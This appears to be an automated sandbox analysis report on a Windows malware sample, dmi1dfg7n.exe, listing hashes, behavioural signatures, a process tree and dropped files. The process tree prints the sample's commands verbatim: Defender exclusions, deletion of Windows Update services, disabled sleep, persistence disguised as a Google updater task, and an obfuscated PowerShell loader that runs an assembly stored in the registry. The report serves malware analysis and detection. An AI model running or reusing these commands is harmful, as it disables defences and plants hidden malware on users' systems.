Analysis
-
max time kernel
15s -
max time network
76s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-11-2022 21:14
Static task
static1
Behavioral task
behavioral1
Sample
dmi1dfg7n.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
dmi1dfg7n.exe
Resource
win10v2004-20220812-en
General
-
Target
dmi1dfg7n.exe
-
Size
2.8MB
-
MD5
9253ed091d81e076a3037e12af3dc871
-
SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981
-
SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
-
SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
-
SSDEEP
49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
Stops running service(s) 3 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
dmi1dfg7n.exedescription pid process target process PID 4460 set thread context of 2044 4460 dmi1dfg7n.exe dialer.exe -
Drops file in Program Files directory 1 IoCs
Processes:
dmi1dfg7n.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe -
Drops file in Windows directory 4 IoCs
Processes:
dialer.exedescription ioc process File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe File created C:\Windows\Tasks\dialersvc32.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe File created C:\Windows\Tasks\dialersvc64.job dialer.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 2332 sc.exe 1968 sc.exe 1528 sc.exe 3924 sc.exe 2400 sc.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 4848 powershell.exe 4848 powershell.exe 884 powershell.exe 884 powershell.exe 1468 powershell.exe 1468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 4848 powershell.exe Token: SeShutdownPrivilege 1776 powercfg.exe Token: SeCreatePagefilePrivilege 1776 powercfg.exe Token: SeDebugPrivilege 884 powershell.exe Token: SeShutdownPrivilege 212 powercfg.exe Token: SeCreatePagefilePrivilege 212 powercfg.exe Token: SeShutdownPrivilege 3708 powercfg.exe Token: SeCreatePagefilePrivilege 3708 powercfg.exe Token: SeShutdownPrivilege 4280 powercfg.exe Token: SeCreatePagefilePrivilege 4280 powercfg.exe Token: SeIncreaseQuotaPrivilege 884 powershell.exe Token: SeSecurityPrivilege 884 powershell.exe Token: SeTakeOwnershipPrivilege 884 powershell.exe Token: SeLoadDriverPrivilege 884 powershell.exe Token: SeSystemProfilePrivilege 884 powershell.exe Token: SeSystemtimePrivilege 884 powershell.exe Token: SeProfSingleProcessPrivilege 884 powershell.exe Token: SeIncBasePriorityPrivilege 884 powershell.exe Token: SeCreatePagefilePrivilege 884 powershell.exe Token: SeBackupPrivilege 884 powershell.exe Token: SeRestorePrivilege 884 powershell.exe Token: SeShutdownPrivilege 884 powershell.exe Token: SeDebugPrivilege 884 powershell.exe Token: SeSystemEnvironmentPrivilege 884 powershell.exe Token: SeRemoteShutdownPrivilege 884 powershell.exe Token: SeUndockPrivilege 884 powershell.exe Token: SeManageVolumePrivilege 884 powershell.exe Token: 33 884 powershell.exe Token: 34 884 powershell.exe Token: 35 884 powershell.exe Token: 36 884 powershell.exe Token: SeIncreaseQuotaPrivilege 884 powershell.exe Token: SeSecurityPrivilege 884 powershell.exe Token: SeTakeOwnershipPrivilege 884 powershell.exe Token: SeLoadDriverPrivilege 884 powershell.exe Token: SeSystemProfilePrivilege 884 powershell.exe Token: SeSystemtimePrivilege 884 powershell.exe Token: SeProfSingleProcessPrivilege 884 powershell.exe Token: SeIncBasePriorityPrivilege 884 powershell.exe Token: SeCreatePagefilePrivilege 884 powershell.exe Token: SeBackupPrivilege 884 powershell.exe Token: SeRestorePrivilege 884 powershell.exe Token: SeShutdownPrivilege 884 powershell.exe Token: SeDebugPrivilege 884 powershell.exe Token: SeSystemEnvironmentPrivilege 884 powershell.exe Token: SeRemoteShutdownPrivilege 884 powershell.exe Token: SeUndockPrivilege 884 powershell.exe Token: SeManageVolumePrivilege 884 powershell.exe Token: 33 884 powershell.exe Token: 34 884 powershell.exe Token: 35 884 powershell.exe Token: 36 884 powershell.exe Token: SeIncreaseQuotaPrivilege 884 powershell.exe Token: SeSecurityPrivilege 884 powershell.exe Token: SeTakeOwnershipPrivilege 884 powershell.exe Token: SeLoadDriverPrivilege 884 powershell.exe Token: SeSystemProfilePrivilege 884 powershell.exe Token: SeSystemtimePrivilege 884 powershell.exe Token: SeProfSingleProcessPrivilege 884 powershell.exe Token: SeIncBasePriorityPrivilege 884 powershell.exe Token: SeCreatePagefilePrivilege 884 powershell.exe Token: SeBackupPrivilege 884 powershell.exe Token: SeRestorePrivilege 884 powershell.exe Token: SeShutdownPrivilege 884 powershell.exe -
Suspicious use of WriteProcessMemory 41 IoCs
Processes:
dmi1dfg7n.execmd.execmd.exedescription pid process target process PID 4460 wrote to memory of 4848 4460 dmi1dfg7n.exe powershell.exe PID 4460 wrote to memory of 4848 4460 dmi1dfg7n.exe powershell.exe PID 4460 wrote to memory of 4452 4460 dmi1dfg7n.exe cmd.exe PID 4460 wrote to memory of 4452 4460 dmi1dfg7n.exe cmd.exe PID 4460 wrote to memory of 4616 4460 dmi1dfg7n.exe cmd.exe PID 4460 wrote to memory of 4616 4460 dmi1dfg7n.exe cmd.exe PID 4460 wrote to memory of 884 4460 dmi1dfg7n.exe powershell.exe PID 4460 wrote to memory of 884 4460 dmi1dfg7n.exe powershell.exe PID 4452 wrote to memory of 1968 4452 cmd.exe sc.exe PID 4452 wrote to memory of 1968 4452 cmd.exe sc.exe PID 4616 wrote to memory of 1776 4616 cmd.exe powercfg.exe PID 4616 wrote to memory of 1776 4616 cmd.exe powercfg.exe PID 4616 wrote to memory of 212 4616 cmd.exe powercfg.exe PID 4616 wrote to memory of 212 4616 cmd.exe powercfg.exe PID 4452 wrote to memory of 1528 4452 cmd.exe sc.exe PID 4452 wrote to memory of 1528 4452 cmd.exe sc.exe PID 4616 wrote to memory of 3708 4616 cmd.exe powercfg.exe PID 4616 wrote to memory of 3708 4616 cmd.exe powercfg.exe PID 4452 wrote to memory of 3924 4452 cmd.exe sc.exe PID 4452 wrote to memory of 3924 4452 cmd.exe sc.exe PID 4616 wrote to memory of 4280 4616 cmd.exe powercfg.exe PID 4616 wrote to memory of 4280 4616 cmd.exe powercfg.exe PID 4452 wrote to memory of 2400 4452 cmd.exe sc.exe PID 4452 wrote to memory of 2400 4452 cmd.exe sc.exe PID 4452 wrote to memory of 2332 4452 cmd.exe sc.exe PID 4452 wrote to memory of 2332 4452 cmd.exe sc.exe PID 4452 wrote to memory of 3004 4452 cmd.exe reg.exe PID 4452 wrote to memory of 3004 4452 cmd.exe reg.exe PID 4452 wrote to memory of 4664 4452 cmd.exe reg.exe PID 4452 wrote to memory of 4664 4452 cmd.exe reg.exe PID 4452 wrote to memory of 4348 4452 cmd.exe reg.exe PID 4452 wrote to memory of 4348 4452 cmd.exe reg.exe PID 4452 wrote to memory of 4548 4452 cmd.exe reg.exe PID 4452 wrote to memory of 4548 4452 cmd.exe reg.exe PID 4452 wrote to memory of 3412 4452 cmd.exe reg.exe PID 4452 wrote to memory of 3412 4452 cmd.exe reg.exe PID 4460 wrote to memory of 2044 4460 dmi1dfg7n.exe dialer.exe PID 4460 wrote to memory of 2044 4460 dmi1dfg7n.exe dialer.exe PID 4460 wrote to memory of 2044 4460 dmi1dfg7n.exe dialer.exe PID 4460 wrote to memory of 1468 4460 dmi1dfg7n.exe powershell.exe PID 4460 wrote to memory of 1468 4460 dmi1dfg7n.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"1⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{583c9542-9d5a-42bc-9854-8534e535f990}1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.8MB
MD5eb27bb8cfa99d659e4fe023e9002ecd1
SHA1c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA2569c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
SHA512ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD52e78327bb319bf3f3702d38dd5b6ee41
SHA164c987dad9b79d8b20d9c9f473325771aaa7a952
SHA256614bebf127fe6b4b8a0458f42e3582e03880235f1f2d9b7de26dbc440521dda6
SHA512d58c03e0ade885b90be268a0e24a93664d4eec05ac29db1c9a4dca066c02317bcd5f70586213f0ed10f4ea33970dc5f811a452320c92a55ac39f67026285e9ef
-
memory/212-143-0x0000000000000000-mapping.dmp
-
memory/600-183-0x00007FFB9B4D0000-0x00007FFB9B4E0000-memory.dmpFilesize
64KB
-
memory/884-138-0x0000000000000000-mapping.dmp
-
memory/884-142-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/884-156-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/1128-172-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1128-173-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1128-176-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmpFilesize
2.0MB
-
memory/1128-170-0x00000001400033F4-mapping.dmp
-
memory/1128-169-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1128-178-0x00007FFBDAF50000-0x00007FFBDB00E000-memory.dmpFilesize
760KB
-
memory/1128-181-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1128-182-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmpFilesize
2.0MB
-
memory/1468-158-0x0000000000000000-mapping.dmp
-
memory/1468-160-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/1468-162-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/1528-144-0x0000000000000000-mapping.dmp
-
memory/1740-164-0x0000000003800000-0x0000000003836000-memory.dmpFilesize
216KB
-
memory/1740-165-0x0000000003F90000-0x00000000045B8000-memory.dmpFilesize
6.2MB
-
memory/1740-174-0x0000000003E90000-0x0000000003EF6000-memory.dmpFilesize
408KB
-
memory/1740-175-0x0000000004770000-0x00000000047D6000-memory.dmpFilesize
408KB
-
memory/1740-171-0x0000000003DF0000-0x0000000003E12000-memory.dmpFilesize
136KB
-
memory/1776-140-0x0000000000000000-mapping.dmp
-
memory/1852-177-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/1852-168-0x00007FFBDAF50000-0x00007FFBDB00E000-memory.dmpFilesize
760KB
-
memory/1852-167-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmpFilesize
2.0MB
-
memory/1852-179-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmpFilesize
2.0MB
-
memory/1852-166-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/1852-180-0x00007FFBDAF50000-0x00007FFBDB00E000-memory.dmpFilesize
760KB
-
memory/1968-139-0x0000000000000000-mapping.dmp
-
memory/2044-157-0x00007FF6F9701844-mapping.dmp
-
memory/2332-150-0x0000000000000000-mapping.dmp
-
memory/2400-149-0x0000000000000000-mapping.dmp
-
memory/3004-151-0x0000000000000000-mapping.dmp
-
memory/3412-155-0x0000000000000000-mapping.dmp
-
memory/3708-145-0x0000000000000000-mapping.dmp
-
memory/3924-146-0x0000000000000000-mapping.dmp
-
memory/3976-161-0x0000000000000000-mapping.dmp
-
memory/4280-148-0x0000000000000000-mapping.dmp
-
memory/4348-153-0x0000000000000000-mapping.dmp
-
memory/4452-136-0x0000000000000000-mapping.dmp
-
memory/4548-154-0x0000000000000000-mapping.dmp
-
memory/4616-137-0x0000000000000000-mapping.dmp
-
memory/4664-152-0x0000000000000000-mapping.dmp
-
memory/4848-132-0x0000000000000000-mapping.dmp
-
memory/4848-135-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/4848-134-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmpFilesize
10.8MB
-
memory/4848-133-0x00000160A3D30000-0x00000160A3D52000-memory.dmpFilesize
136KB